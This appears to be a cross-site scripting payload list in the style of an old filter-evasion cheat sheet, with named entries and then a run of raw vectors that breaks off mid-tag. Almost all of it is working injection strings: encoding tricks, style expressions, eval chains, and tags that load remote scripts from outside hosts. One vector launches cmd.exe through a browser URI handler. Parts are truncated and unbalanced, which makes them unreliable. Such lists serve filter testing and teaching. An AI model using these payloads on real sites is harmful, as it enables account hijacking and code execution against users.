<code><div&nbsp &nbsp style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)></code>
<name>Backslash-obfuscated XBL injection - variant 4</name>
<code><x/style=-m\0o\0z\0-b\0i\0nd\0i\0n\0g\0:\0u\0r\0l\0(\0/\0/b\0u\0s\0i\0ne\0s\0s\0i\0nf\0o\0.c\0o\0.\0u\0k\0/\0la\0b\0s\0/\0x\0b\0l\0/\0x\0b\0l\0.\0x\0m\0l\0#\0x\0s\0s\0)></code>
<name>Backslash-obfuscated XBL injection - variant 5</name>
<code><BASE HREF="javascript:alert('XSS');//"></code>
<name>BASE</name>
<code>`> <script>alert(5)</script></code>
<name>Basic back ticked attribute breaker</name>
<code>> <script>alert(4)</script></code>
<name>Basic double quoted attribute breaker</name>
<code>xyz onerror=alert(6); </code>
<name>Basic JS breaker</name>
<code>1;a=eval;b=alert;a(b(/c/.source));</code>
<name>Basic JS breaker variant 1</name>
<code>1];a=eval;b=alert;a(b(17));//</code>
<name>Basic JS breaker variant 2</name>
<code>];a=eval;b=alert;a(b(16));//</code>
<name>Basic JS breaker variant 3</name>
<code>'];a=eval;b=alert;a(b(15));//</code>
<name>Basic JS breaker variant 4</name>
<code>1};a=eval;b=alert;a(b(14));//</code>
<name>Basic JS breaker variant 5</name>
<code>'};a=eval;b=alert;a(b(13));//</code>
<name>Basic JS breaker variant 6</name>
<code>};a=eval;b=alert;a(b(12));//</code>
<name>Basic JS breaker variant 7</name>
<code>a=1;a=eval;b=alert;a(b(11));//</code>
<name>Basic JS breaker variant 8</name>
<code>;//%0da=eval;b=alert;a(b(10));//</code>
<name>Basic JS breaker variant 9</name>
<code>';//%0da=eval;b=alert;a(b(9));//</code>
<name>Basic JS breaker variant 10</name>
<code>'> <script>alert(3)</script></code>
<name>Basic single quoted attribute breaker</name>
<code></title><script>alert(1)</script></code>
<name>Basic title breaker</name>
<code><BGSOUND SRC="javascript:alert('XSS');"></code>
<name>BGSOUND</name>
<code><BODY BACKGROUND="javascript:alert('XSS');"></code>
<name>BODY background-image</name>
<code><BODY ONLOAD=alert('XSS')></code>
<name>BODY ONLOAD</name>
<code><!--
<A href="
- --><a href=javascript:alert:document.domain
>test--></code>
<name>Camouflaged comment injection with JS link</name>
<code><IMG SRC=JaVaScRiPt:alert('XSS')></code>
<name>Case Insensitive</name>
<code><%3C&lt&lt;&LT&LT;&#60&#060&#0060&#00060&#000060&#0000060&#60;&#060;&#0060;&#00060;&#000060;&#0000060;&#x3c&#x03c&#x003c&#x0003c&#x00003c&#x000003c&#x3c;&#x03c;&#x003c;&#x0003c;&#x00003c;&#x000003c;&#X3c&#X03c&#X003c&#X0003c&#X00003c&#X000003c&#X3c;&#X03c;&#X003c;&#X0003c;&#X00003c;&#X000003c;&#x3C&#x03C&#x003C&#x0003C&#x00003C&#x000003C&#x3C;&#x03C;&#x003C;&#x0003C;&#x00003C;&#x000003C;&#X3C&#X03C&#X003C&#X0003C&#X00003C&#X000003C&#X3C;&#X03C;&#X003C;&#X0003C;&#X00003C;&#X000003C;\x3c\x3C\u003c\u003C</code>
<name>Character Encoding Example</name>
<code><script>
var a = "</script> <script> alert('XSS !'); </script> <script>";
</script></code>
<name>Closing JS Tag in JS String assignment</name>
<code><!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]--></code>
<name>Commented-out Block</name>
<code>*/a=eval;b=alert;a(b(/e/.source));/*</code>
<name>Comment-breaker using obfuscated JavaScript</name>
<code>width: expression((window.r==document.cookie)?'':alert(r=document.cookie))</code>
<name>Conditional style injection for IE</name>
<code><A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A></code>
<name>Content Replace</name>
<code><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"></code>
<name>Cookie Manipulation</name>
<code><DIV STYLE="background-image: url(javascript:alert('XSS'))"></code>
<name>DIV background-image 1</name>
<code><DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"></code>
<name>DIV background-image 2</name>
<code><DIV STYLE="width: expression(alert('XSS'));"></code>
<name>DIV expression</name>
<code><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"></code>
<name>DIV w/Unicode</name>
<code><IFRAME SRC=http://ha.ckers.org/scriptlet.html <</code>
<name>Double open angle brackets</name>
<code><A HREF="http://1113982867/">XSS</A></code>
<name>Dword Encoding</name>
<code><EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED></code>
<name>Embed Flash</name>
<code><IMG SRC="jav&#x0D;ascript:alert('XSS');"></code>
<name>Embedded Carriage Return</name>
<code><IMG SRC="jav&#x09;ascript:alert('XSS');"></code>
<name>Embedded Encoded Tab</name>
<code><IMG SRC="jav&#x0A;ascript:alert('XSS');"></code>
<name>Embedded Newline</name>
<code><IMG SRC="javascript:alert('XSS');"></code>
<name>Embedded Tab</name>
<code></TITLE><SCRIPT>alert("XSS");</SCRIPT></code>
<name>End title tag</name>
<code>\";alert('XSS');//</code>
<name>Escaping JavaScript escapes</name>
<code><SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<name>Evade Regex Filter 1</name>
<code><SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<name>Evade Regex Filter 2</name>
<code><SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<name>Evade Regex Filter 3</name>
<code><SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<name>Evade Regex Filter 4</name>
<code><SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<name>Evade Regex Filter 5</name>
<code>eval(name)</code>
<name>Eval string contained in name property</name>
<code><A HREF="http://www.google.com./">XSS</A></code>
<name>Extra dot for Absolute DNS</name>
<code><<SCRIPT>alert("XSS");//<</SCRIPT></code>
<name>Extraneous Open Brackets</name>
<code><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<name>Filter Evasion 1</name>
<code><SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<name>Filter Evasion 2</name>
<code><A HREF="//google">XSS</A></code>
<name>Firefox Lookups 1</name>
<code><A HREF="http://ha.ckers.org@google">XSS</A></code>
<name>Firefox Lookups 2</name>
<code><A HREF="http://google:ha.ckers.org">XSS</A></code>
<name>Firefox Lookups 3</name>
<code>firefoxurl:test|"%20-new-window%20javascript:alert(\'Cross%2520Browser%2520Scripting!\');"</code>
<name>firefoxurl: uri exploit (UXSS)</name>
<code><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET></code>
<name>FRAME</name>
<code><IMG SRC=`javascript:alert("RSnake says### 'XSS'")`></code>
<name>Grave Accents</name>
<code><IMG SRC="javascript:alert('XSS')"</code>
<name>Half-Open HTML/JavaScript</name>
<code><A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A></code>
<name>Hex Encoding</name>
<code><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29></code>
<name>Hex Encoding w/out Semicolons</name>
<code><IMG SRC=javascript:alert(&quot;XSS&quot;)></code>
<name>HTML Entities</name>
<code>'';!--"<script>alert(0);</script>=&{(alert(1))}</code>
<name>HTML Quoute & Comment breaker</name>
<code><?xml version="1.0"?>
<html:html xmlns:html='http://www.w3.org/1999/xhtml'>
<html:script>
</html:script>
</html:html></code>
<name>HTML wrapped in XML</name>
<code><img src=`x` onrerror= ` ;; alert(1) ` /></code>
<name>IE backticked semicolon injection</name>
<code></a style=""xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')"></code>
<name>IE closing-tag expression injection</name>
<code> style=color: expression(alert(0));" a="</code>
<name>IE expression injection</name>
<code>vbscript:Execute(MsgBox(chr(88)&chr(83)&chr(83)))<</code>
<name>IE VB Messagebox injection</name>
<code><IFRAME SRC="javascript:alert('XSS');"></IFRAME></code>
<name>IFRAME</name>
<code>a=<a>
<b>
</b>
</a>
document.write(unescape(a..b))</code>
<name>Image onerror wrapped in XML statement</name>
<code><IMG SRC="jav&#x09;ascript:alert(<WBR>'XSS');">
<IMG SRC="jav&#x0A;ascript:alert(<WBR>'XSS');">
<IMG SRC="jav&#x0D;ascript:alert(<WBR>'XSS');"></code>
<name>Image tag with obfuscated JS URI</name>
<code><IMG SRC=javascript:alert(String.fromCharCode(88###83###83))></code>
<name>Image w/CharCode</name>
<code><IMG DYNSRC="javascript:alert('XSS');"></code>
<name>IMG Dynsrc</name>
<code><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></code>
<name>IMG Embedded commands 1</name>
<code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser</code>
<name>IMG Embedded commands 2</name>
<code><IMG LOWSRC="javascript:alert('XSS');"></code>
<name>IMG Lowsrc</name>
<code><IMG SRC=javascript:alert('XSS')></code>
<name>IMG No Quotes/Semicolon</name>
<code>exp/*<XSS STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></code>
<name>IMG STYLE w/expression</name>
<name>IMG w/JavaScript Directive</name>
<code><IMG SRC='vbscript:msgbox("XSS")'></code>
<name>IMG w/VBscript</name>
<code><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"></code>
<name>INPUT Image</name>
<code><A HREF="http://66.102.7.147/">XSS</A></code>
<name>IP Encoding</name>
<code>s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)'+''; u1=s1+s2+s3;URL=u1</code>
<name>JavaScript concatenation vector variant 1</name>
<code>s1=0?'1':'i'; s2=0?'1':'fr'; s3=0?'1':'ame'; i1=s1+s2+s3; s1=0?'1':'jav'; s2=0?'1':'ascr'; s3=0?'1':'ipt'; s4=0?'1':':'; s5=0?'1':'ale'; s6=0?'1':'rt'; s7=0?'1':'(1)'; i2=s1+s2+s3+s4+s5+s6+s7;</code>
<name>JavaScript concatenation vector variant 2</name>
<code>s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7=0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=parentNode;x.appendChild(i);</code>
<name>JavaScript concatenation vector variant 3</name>
<code>s1=['java'+''+''+'scr'+'ipt'+':'+'aler'+'t'+'(1)'];</code>
<name>JavaScript concatenation vector variant 4</name>
<code>s1=['java'||''+'']; s2=['scri'||''+'']; s3=['pt'||''+''];</code>
<name>JavaScript concatenation vector variant 5</name>
<code>s1=!''&&'jav';s2=!''&&'ascript';s3=!''&&':';s4=!''&&'aler';s5=!''&&'t';s6=!''&&'(1)';s7=s1+s2+s3+s4+s5+s6;URL=s7;</code>
<name>JavaScript concatenation vector variant 6</name>
<code>s1='java'||''+'';s2='scri'||''+'';s3='pt'||''+'';</code>
<name>JavaScript concatenation vector variant 7</name>
<code><BR SIZE="&{alert('XSS')}"></code>
<name>JavaScript Includes</name>
<code><A HREF="javascript:document.location='http://www.google.com/'">XSS</A></code>
<name>JavaScript Link Location</name>
<code>%0da=eval;b=alert;a(b(/d/.source));</code>
<name>JavaScript-breaker using carriage return</name>
<code><a href = "javas cript :ale rt(1)">test</code>
<name>JS link with whitespace obfuscation</name>
<code>+alert(0)+</code>
<name>JS string concatenation breaker</name>
<code><body onload=;a2={y:eval};a1={x:a2.y('al'+'ert')};;;;;;;;;_=a1.x;_(1);;;;</code>
<name>JSON based obfuscated onload vector</name>
<code><body onload=a1={x:this.parent.document};a1.x.writeln(1);></code>
<name>JSON based onload vector</name>
<code><body onload=;a1={x:document};;;;;;;;;_=a1.x;_.write(1);;;;</code>
<name>JSON based semicolon-onload vector</name>
<code><LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER></code>
<name>LAYER</name>
<code><STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</code>
<name>List-style-image</name>
<code><IMG SRC="livescript:[code]"></code>
<name>Livescript</name>
<code><XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"></code>
<name>Local .htc file</name>
<code><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></code>
<name>Long UTF-8 Unicode w/out Semicolons</name>
<code><IMG """><SCRIPT>alert("XSS")</SCRIPT>"></code>
<name>Malformed IMG Tags</name>
<code>%26%2339);x=alert;x(%26%2340 /finally through!/.source %26%2341);//</code>
<name>Markup breaker with special quotes</name>
<code><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"></code>
<name>META</name>
<code><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"></code>
<name>META w/additional URL parameter</name>
<code><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64###PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></code>
<name>META w/data:URL</name>
<code><A HREF="http://6&#09;6.000146.0x7.147/">XSS</A></code>
<name>Mixed Encoding</name>
<code><IMG SRC="mocha:[code]"></code>
<name>Mocha</name>
<code> style=-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="</code>
<name>Mozilla -moz-binding-url injection</name>
<code> sstyle=foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-binding:url(http://h4k.in/mozxss.xml#xss)>foobar</b>#xss)" a="</code>
<name>Mozilla -moz-binding-url injection - filter evading</name>
<code>_
)</code>
<name>Multiline selfcontained XSS</name>
<code><IMGSRC="javascript:alert('XSS')"></code>
<name>Multiline w/Carriage Returns</name>
<code>b=top,a=/loc/ . source,a+=/ation/ . source,b[a=a] = name</code>
<name>Name contained XSS variant 1</name>
<code>a=/ev///
.source a+=/al///
.source a[a] (name)</code>
<name>Name contained XSS variant 2</name>
<code>a=/ev/
.source a+=/al/
.source,a = a[a] a(name)</code>
<name>Name contained XSS variant 3</name>
<code>setTimeout//
(name// ,0)</code>
<name>Name contained XSS variant 4</name>
<code>navigatorurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[\'@mozilla.org/file/local;1\'].createInstance(I.nsILocalFile);file.initWithPath(\'C:\'+String.fromCharCode(92)+String.fromCharCode(92)+\'Windows\'+String.fromCharCode(92)+String.fromCharCode(92)+\'System32\'+String.fromCharCode(92)+String.fromCharCode(92)+\'cmd.exe\');process=C[\'@mozilla.org/process/util;1\'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)</code>
<name>navigatorurl: code execution</name>
<code><SCRIPT SRC=http://ha.ckers.org/xss.js</code>
<name>No Closing Script Tag</name>
<code><SCRIPT>a=/XSS/alert(a.source)</SCRIPT></code>
<name>No Quotes/Semicolons</name>
<code><SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<name>Non-Alpha/Non-Digit</name>
<code><BODY onload!#$%&()*~+-_.###:;?@[/|\]^`=alert("XSS")></code>
<name>Non-Alpha/Non-Digit Part 2</name>
<code></noscript>
<code onmouseover=a=eval;b=alert;a(b(/h/.source));>MOVE MOUSE OVER THIS AREA</code></code>
<name>Noscript-breaker with mouseover</name>
<code>perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out</code>
<name>Null Chars 1</name>
<code>perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out</code>
<name>Null Chars 2</name>
<code><body onload=;;;;;;;;;;;_=alert;_(1);;;;</code>
<name>Obfuscated body onload vector</name>
<code>s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=
rentNode;x.appendChild(i);</code>
<name>Obfuscated DOM element creation</name>
<code><body <body onload=;;;;;al:eval('al'+'ert(1)');;></code>
<name>Obfuscated double-body onload vector</name>
<code><IMGSRC=&#106;&#97;&#118;&#97;&<WBR>#115;&#99;&#114;&#105;&#112;&<WBR>#116;&#58;&#97;
&#108;&#101;&<WBR>#114;&#116;&#40;&#39;&#88;&#83<WBR>;&#83;&#39;&#41></code>
<name>Obfuscated image tag using dec entities</name>
<code><IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28
&<WBR>#x27&#x58&#x53&#x53&#x27&#x29></code>
<name>Obfuscated image tag using hex entities</name>
<code><IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0000058
&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#0000039&#0000041></code>
<name>Obfuscated image tag using long dec entities</name>
<code>>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)></code>
<name>Obfuscated JS image source</name>
<code>(1?(1?{a:1?""[1?"ev\a\l":0](1?"\a\lert":0):0}:0).a:0)[1?"\c\a\l\l":0](content,1?"x\s\s":0)</code>
<name>Obfuscated name trigger for Firefox</name>
<code><body/s/onload=x={doc:parent.document};x.doc.writeln(1)</code>
<name>Obfuscated onload attribute variant 1</name>
<code><body/””$/onload=x={doc:parent['document']};x.doc.writeln(1)</code>
<name>Obfuscated onload attribute variant 2</name>
<code><body/""$/onload=x={doc:parent['document']};x.doc.writeln(1)</code>
<name>Obfuscated onload attribute variant 3</name>
<desc>(ah: added 05-dec-11)</desc>
<code>123[''+<_>ev</_>+<_>al</_>](''+<_>aler</_>+<_>t</_>+<_>(1)</_>);</code>
<name>Obfuscated XML predicate vector variation 1</name>
<code>s1=<s>evalalerta(1)a</s>,s2=<s></s>+'',s3=s1+s2,e1=/s/!=/s/?s3[0]:
0,a=a1+a2+a3+a4+a5+a6+a7+a8,1,e(a)</code>
<name>Obfuscated XML predicate vector variation 2</name>
<code>o={x:''+<s>eva</s>+<s>l</s>,y:''+<s>aler</s>+<s>t</s>+<s>(1)</
s>};function f() { 0[this.x](this.y) }f.call(o);</code>
<name>Obfuscated XML predicate vector variation 3</name>
<code>___=1?'ert(123)':0,_=1?'al':0,__=1?'ev':0,1[__+_](_+___)</code>
<name>Obfuscated XSS variant 1</name>
<code><OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT></code>
<name>OBJECT</name>
<code><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT></code>
<name>OBJECT w/Embedded XSS</name>
<code>a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")";eval(a+b+c+d);</code>
<name>OBJECT w/Flash 2</name>
<code><A HREF="http://0102.0146.0007.00000223/">XSS</A></code>
<name>Octal Encoding</name>
<code>open(name)</code>
<name>Open string contained in name property</name>
<code><? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?></code>
<name>PHP</name>
<code>alert(1)</code>
<name>Plain JavaScript alert</name>
<code><A HREF="//www.google.com/">XSS</A></code>
<name>Protocol Resolution Bypass</name>
<code><SCRIPT SRC=//ha.ckers.org/.j></code>
<name>Protocol resolution in script tags</name>
<code>0%0d%0a%00<script src=//h4k.in></code>
<name>RegExp based, and native C filter vector.</name>
<code>s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)
u1=s1+s2+s3;URL=u1</code>
<name>Remote IE URL overloading</name>
<code><LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"></code>
<name>Remote Stylesheet 1</name>
<code><STYLE>@import'http://ha.ckers.org/xss.css';</STYLE></code>
<name>Remote Stylesheet 2</name>
<code><META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"></code>
<name>Remote Stylesheet 3</name>
<code><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE></code>
<name>Remote Stylesheet 4</name>
<code><A HREF="http://google.com/">XSS</A></code>
<name>Removing Cnames</name>
<code><SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT></code>
<name>Rename .js to .jpg</name>
<code>res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210</code>
<name>res:// installed software probing</name>
<code><SCRIPT>alert('XSS')</SCRIPT></code>
<name>SCRIPT w/Alert()</name>
<code><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT></code>
<name>SCRIPT w/Char Code</name>
<code><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT></code>
<name>SCRIPT w/Source File</name>
<code>a=0||'ev'+'al',b=0||location.hash,c=0||'sub'+'str',1[a](b[c](1))</code>
<name>Self-contained XSS variant 1</name>
<code>a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n.h'+'ash.sub'||0;b+=0||'str(1)';c=b[a];c(c(b))</code>
<name>Self-contained XSS variant 2</name>
<code>eval.call(this,unescape.call(this,location))</code>
<name>Self-contained XSS variant 3</name>
<code>d=0||'une'+'scape'||0;a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n'||0;c=b[a];d=c(d);c(d(c(b)))</code>
<name>Self-contained XSS variant 4</name>
<code>l= 0 || 'str',m= 0 || 'sub',x= 0 || 'al',y= 0 || 'ev',g= 0 || 'tion.h',f= 0 || 'ash',k= 0 || 'loca',d= (k) + (g) + (f),a</code>
<name>Self-contained XSS variant 5</name>
<code>_=eval,__=unescape,___=document.URL,_(__(___))</code>
<name>Self-contained XSS variant 6</name>
<code>$_=document,$__=$_.URL,$___=unescape,$_=$_.body,$_.innerHTML = $___(http=$__)</code>
<name>Self-contained XSS variant 7</name>
<code>$=document,$=$.URL,$$=unescape,$$$=eval,$$$($$($))</code>
<name>Self-contained XSS variant 8</name>
<code>evil=/ev/.source+/al/.source,changeProto=/Strin/.source+/g.prototyp/.source+/e.ss=/.source+/Strin/.source+/g.prototyp/.source+/e.substrin/.source+/g/.source,hshCod=/documen/.source+/t.locatio/.source+/n.has/.source+/h/.source;7[evil](changeProto);hsh=7[evil](hshCod),cod=hsh.ss(1);7[evil](cod)</code>
<name>Self-contained XSS variant 9</name>
<code>with(location)with(hash)eval(substring(1))</code>
<name>Self-containing XSS with no dots</name>
<code><IMG SRC=" &#14; javascript:alert('XSS');"></code>
<name>Spaces/Meta Chars</name>
<code><!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--></code>
<name>SSI</name>
<code><STYLE TYPE="text/javascript">alert('XSS');</STYLE></code>
<name>STYLE</name>
<code><style>
</style>
<script>
<name>Style injection via content and double-eval</name>
<code><XSS STYLE="xss:expression(alert('XSS'))"></code>
<name>STYLE w/Anonymous HTML</name>
<code><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE></code>
<name>STYLE w/background</name>
<code><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A></code>
<name>STYLE w/background-image</name>
<code><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE></code>
<name>STYLE w/broken up JavaScript</name>
<code><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"></code>
<name>STYLE w/Comment</name>
<code><LINK REL="stylesheet" HREF="javascript:alert('XSS');"></code>
<name>Stylesheet</name>
<code>}</style><script>a=eval;b=alert;a(b(/i/.source));</script></code>
<name>Style-breaker using obfuscated JavaScript</name>
<code>>"'</code>
<name>Super basic HTML breaker 2</name>
<code>a=alert
a(0)</code>
<name>Super short XSS variant 1</name>
<code>A=alert;A(1)</code>
<name>Super short XSS variant 2</name>
<code><TABLE BACKGROUND="javascript:alert('XSS')"></TABLE></code>
<name>TABLE</name>
<code><TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE></code>
<name>TD</name>
<code></textarea>
<code onmouseover=a=eval;b=alert;a(b(/g/.source));>MOVE MOUSE OVER THIS AREA</code></code>
<name>Textarea-breaker with mouseover</name>
<code>'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'</code>
<name>Unicode encoded script tags</name>
<code>http://aa"><script>alert(123)</script></code>
<name>URL breaker for double quotes</name>
<code>http://aa'><script>alert(123)</script></code>
<name>URL breaker for single quotes</name>
<code>>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22></code>
<name>URL encoded image source</name>
</xss>
<a draggable="true" ondrag="alert(1)">test</a>
<xss id=x tabindex=1 onfocusout=alert(1)></xss><input autofocus>
# credit to rsnake
innerHTML=location.hash>#<script>alert(1)</script>
<script>onerror=alert;throw 1337</script>
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
<Img Src=javascript:alert(1) OnError=location=src>A very short cross browser header injection
Exploit Description: Yet another XSS to evade the same filter: /<script((\s+\w+(\s*=\s*(?:”(.)*?”|'(.)*?'|[^'”>\s]+))?)+\s*|\s*)src/i
Exploit Description: This vector concatenates a string and evaluates it via mapping on URL
iframe Chrome bypass
anchor Chrome bypass
"-prompt(8)-"
<marquee onstart='javascript:alert('1');'>=(◕_◕)=>>> vectors()
<div id="1"><form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>//["'`-->]]]]><![CDATA[>]</div><div id="2"><meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//["'`-->]]]]><![CDATA[>]</div><div id="3"><meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//["'`-->]]]]><![CDATA[>]</div><div id="4">0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//["'`-->]]]]><![CDATA[>]</div><div id="5"><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')</script>//["'`-->]]]]><![CDATA[>]</div><div id="6"><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>//["'`-->]]]]><![CDATA[>]</div><div id="7"><input onfocus=alert(7) autofocus>//["'`-->]]]]><![CDATA[>]</div><div id="8"><input onblur=alert(8) autofocus><input autofocus>//["'`-->]]]]><![CDATA[>]</div><div id="9"><a style="-o-link:'javascript:alert(9)';-o-link-source:current">X</a>//["'`-->]]]]><![CDATA[>]</div><div id="10"><video poster=javascript:alert(10)//></video>//["'`-->]]]]><![CDATA[>]</div><div id="11"><svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(11)"></g></svg>//["'`-->]]]]><![CDATA[>]</div><div id="12"><body onscroll=alert(12)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>//["'`-->]]]]><![CDATA[>]</div><div id="13"><x repeat="template" repeat-start="999999">0<y repeat="template" repeat-start="999999">1</y></x>//["'`-->]]]]><![CDATA[>]</div><div id="14"><input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>//["'`-->]]]]><![CDATA[>]</div><div id="15"><script>({0:#0=alert/#0#/#0#(0)})</script>//["'`-->]]]]><![CDATA[>]</div><div id="16">X<x style=`behavior:url(#default#time2)` onbegin=`alert(16)` >//["'`-->]]]]><![CDATA[>]</div><div id="17"><?xml-stylesheet href="javascript:alert(17)"?><root/>//["'`-->]]]]><![CDATA[>]</div><div id="18"><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>//["'`-->]]]]><![CDATA[>]</div><div id="19"><meta charset="x-mac-farsi">¼script ¾alert(19)//¼/script ¾//["'`-->]]]]><![CDATA[>]</div><div id="20"><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(20)}),x</script>//["'`-->]]]]><![CDATA[>]</div><div id="21"><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(21)')()</script>//["'`-->]]]]><![CDATA[>]</div><div id="22"><input onblur=focus() autofocus><input>//["'`-->]]]]><![CDATA[>]</div><div id="23"><form id=test onforminput=alert(23)><input></form><button form=test onformchange=alert(2)>X</button>//["'`-->]]]]><![CDATA[>]</div><div id="24">1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=alert(24)>`>//["'`-->]]]]><![CDATA[>]</div><div id="25"><script src="#">{alert(25)}</script>;1//["'`-->]]]]><![CDATA[>]</div><div id="26">+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);//["'`-->]]]]><![CDATA[>]</div><div 